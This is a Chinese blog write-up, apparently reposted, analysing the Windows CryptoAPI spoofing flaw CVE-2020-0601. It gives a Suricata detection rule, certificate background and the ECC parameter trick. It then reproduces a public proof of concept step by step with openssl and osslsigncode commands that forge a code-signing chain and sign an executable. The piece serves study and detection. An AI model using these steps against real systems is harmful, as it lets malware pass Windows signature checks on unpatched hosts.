zoukankan      html  css  js  c++  java
  • Windows CryptoAPI漏洞(CVE-2020-0601)

    起因是随手点了一个Suricata规则。。

    漏洞描述

    北京时间1月15日微软发布CVE-2020-0601漏洞公告,修补了一个Windows加密库中的关键漏洞,为Windows CryptoAPI欺骗漏洞。攻击者可利用此漏洞对恶意程序签名,从而可能骗过操作系统或安全软件的安全机制。
    在CVE-2020-0601漏洞公告发布后第二天,互联网上出现利用该漏洞的POC,这意味着漏洞利用即将到来。
    腾讯安全通告中提到三个利用场景 link

    • 构造程序 伪造数字签名
    • 利用漏洞骗取浏览器对拥有伪造证书的网站的信任,如通过伪造类相似域名进行钓鱼攻击,在浏览器识别为”可信”网站下注入恶意脚本。
    • 任意PE文件只要用这个伪造的证书进行签名,都能通过Windows的证书检验。现有安全体系很大程度依赖证书签名,如果通过漏洞伪造签名欺骗系统,成功绕过安全防御及查杀机制,攻击者基本上可以为所欲为了。

    影响版本

    Windows 10

    Suricata规则

    alert tcp any any -> any any (msg: "ATTACK [PTsecurity] Suspicious explicitly-defined ECC parameters. Possible CVE-2020-0601 crafted certificate"; flow:established; content:"|06 07 2a 86 48 ce 3d 02 01 30 82|"; content:"|06 07 2a 86 48 ce 3d 01 01 02|"; within:200; reference: cve, 2020-0601; reference: url, github.com/ollypwn/cve-2020-0601; reference: url, github.com/ptresearch/AttackDetection; metadata: Open Ptsecurity.com ruleset; classtype: trojan-activity; sid: 10005695; rev: 1;)
    

    检测特征

    06 07 2a 86 48 ce 3d 02 01 30 82
    06 07 2a 86 48 ce 3d 01 01 02

    简单搜了一下 似乎与证书相关 .cer文件

    数字签名与数字证书

    简易理解版

    http://www.ruanyifeng.com/blog/2011/08/what_is_a_digital_signature.html
    数字签名
    bob持有公钥 对message进行hash 生成摘要 digest
    然后使用私钥 对摘要加密 生成signature
    将message+signatur发送
    susan收到后使用公钥解密 得到digest 证明来自bob 证明信件未被修改

    证书
    dog替换了susan持有的bob公钥
    susan让bob去CA,为公钥做认证,CA使用了自己的私钥,对Bob公钥等其他信息进行加密,生成数字证书(Digital Certificate)

    bob拿到证书 写信给Susan message+signature+digitalcert
    susan收到 用CA公钥解开数字证书 得到 bob公钥+个人信息
    然后使用bob公钥解密

    HTTPS实例

    client->服务器 加密请求
    服务器->client 使用自己的私钥加密网页,连同本身数字证书一起发送
    client 有证书管理器-受信任的根证书颁发机构 根据列表查看解开数字证书的公钥是否在列表内
    如果数字证书记载的网址,与你正在浏览的网址不一致,就说明这张证书可能被冒用,浏览器会发出警告。
    (即可以解开 但是解开后数字证书记载网址不对 公钥是对的 可以解密响应)

    如果这张数字证书不是由受信任的机构颁发的,浏览器会发出另一种警告。

    证书格式

    X.509证书的结构是用ASN.1(Abstract Syntax Notation One:抽象语法标记)进行描述数据结构,并使用ASN.1语法进行编码。ASN.1结构:自己查阅
    https://www.cnblogs.com/jiangzhaowei/p/9346993.html

    漏洞原理

    -越过ECC-
    通常,签名者产生一对公私钥后,要去证书中心(certificate authority,简称CA),为公钥做认证,以此来证明签名者本身身份。证书中心用自己的私钥,对签名者的公钥和一些相关信息一起做签名,生成数字证书(DigitalCertificate)。由补丁分析部分可知,微软在对数字签名做合法校验时,支持椭圆曲线参数的自定义输入,又只对公钥信息做校验,存在严重缺陷。

    攻击者可以传入自定义的全局域参数、签名信息s,只需要公钥信息与系统ECC根证书Microsoft ECC Product Root Certificate Authority 2018的公钥保持一致,就可以绕过校验逻辑,让数字签名信息看起来就是ECC根证书签发的一样。而这,是很容易做到的。

    假设ECC根证书的私钥是d(对攻击者未知),基点是G,公钥是Q=dG。攻击者可以选择跟ECC根证书一样的椭圆曲线,只需d’=1(单位元),G‘=Q,则Q‘=d’G'=Q,从而完成攻击。

    //ECDSA
        参与数字签名的所有方都使用相同的全局域参数,用于定义椭圆曲线以及曲线上的基点。
        签名者首先需要生成一对公钥、私钥。签名者可以选择一个随机数作为私钥,使用随机数和基点,可以计算椭圆曲线上的另一个解点,作为公钥。
        对于待签名的消息计算其Hash值。签名者使用私钥、全局域参数、Hash值产生签名,包括两个整数r和s。
        验证者使用签名者的公钥、全局域参数、整数s作为输入,计算v,并与r比较。如果两者相等,则签名通过。
    

    https://blog.csdn.net/weixin_43899764/article/details/104029814
    windows验证机制-很好理解pics

    POC

    复现

    从CA中抽取公钥,并且利用漏洞

    root@ubuntu# ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
    报错
    main.rb:10:in `<main>': uninitialized constant OpenSSL::PKey::EC::EXPLICIT_CURVE (NameError)
    

    修改main.rb line10
    EXPLICIT_CURVE NAMED_CURVE

    生成spoofed_ca.key公钥文件
    基于此密钥生成一个新的x509证书,这将是我们自己的欺骗性CA

    openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
    

    生成一个新的key,格式可以根据需要自己选择,这里需要生成一个用于代码签名的证书

    openssl ecparam -name secp384r1 -genkey -noout -out cert.key
    

    下一步,生成一个新的证书签名请求(CSR),这个请求通常会发送给受信任的CA,但是因为前面我们生成的假冒的CA,所以这里我们可以自己对他签名

    openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
    

    使用仿冒的CA和CA key对CSR签名,这个证书有效期到2047年,而实际上真正的微软CA有效期到2043年

    openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs```
    
    将仿冒CA和我们生成的key打包保存到一个PKCS12文件,用于PE的签名
    

    openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12```
    最后,利用前面生成的证书对PE文件签名即可

    osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in test-x64.exe -out test_signed.exe
    

    文件区分

    key通常指私钥
    CSR 是Certificate Signing Request的缩写,即证书签名申请,这不是证书,这是要求CA给证书签名的一种正式申请,该申请包含申请证书的实体的公钥及该实体店某些信息。该数据将成为证书的一部分。CSR始终使用它携带的公钥所对应的私钥进行签名。

    CRT 即 certificate的缩写,即证书

    TLS:传输层安全协议 Transport Layer Security的缩写

    SSL:安全套接字层 Secure Socket Layer的缩写

    X.509 是一种证书格式.对X.509证书来说,认证者总是CA或由CA指定的人,一份X.509证书是一些标准字段的集合,这些字段包含有关用户或设备及其相应公钥的信息。
    X.509的证书文件,一般以.crt结尾,根据该文件的内容编码格式,可以分为以下二种格式:
    PEM - Privacy Enhanced Mail,打开看文本格式,以"-----BEGIN..."开头, "-----END..."结尾,内容是BASE64编码
    另一种是二进制格式

    Suricata特征

    06 07 2a 86 48 ce 3d 02 01 30 82
    06 07 2a 86 48 ce 3d 01 01 02
    导出crt证书文件 cert.crt
    //修改文件权限chmod 777 file
    导出为base64编码 可以在windows下导出.cer文件

    winhex逛了一圈 没找到
    找到的都是06 07 2a 86 48 ce 3d 02 01 06 05未发现特征。。
    通过winhex导入模板判断这个特征应该是算法前后的参数

    又搜了一圈 x.509中的Sigature参数有对应OID值,用于表示使用哪种加密算法
    X.509证书的结构是用ASN.1(Abstract Syntax Notation One:抽象语法标记)进行描述数据结构,并使用ASN.1语法进行编码。
    疑似通过BER编码的得到
    https://dy.163.com/article/DA53ON9Q0511CJ6O.html

  • 相关阅读:
    DB2去重的几种方法
    split命令:文件切割
    DB2中横表纵表互换
    做一个思想的码农
    access应用分享
    回顾2015年
    笑看互联网金融
    Razor语法
    数据库操作(二)
    SQL Server数据库简介(一)
  • 原文地址:https://www.cnblogs.com/rookieDanny/p/13213241.html
Copyright © 2011-2022 走看看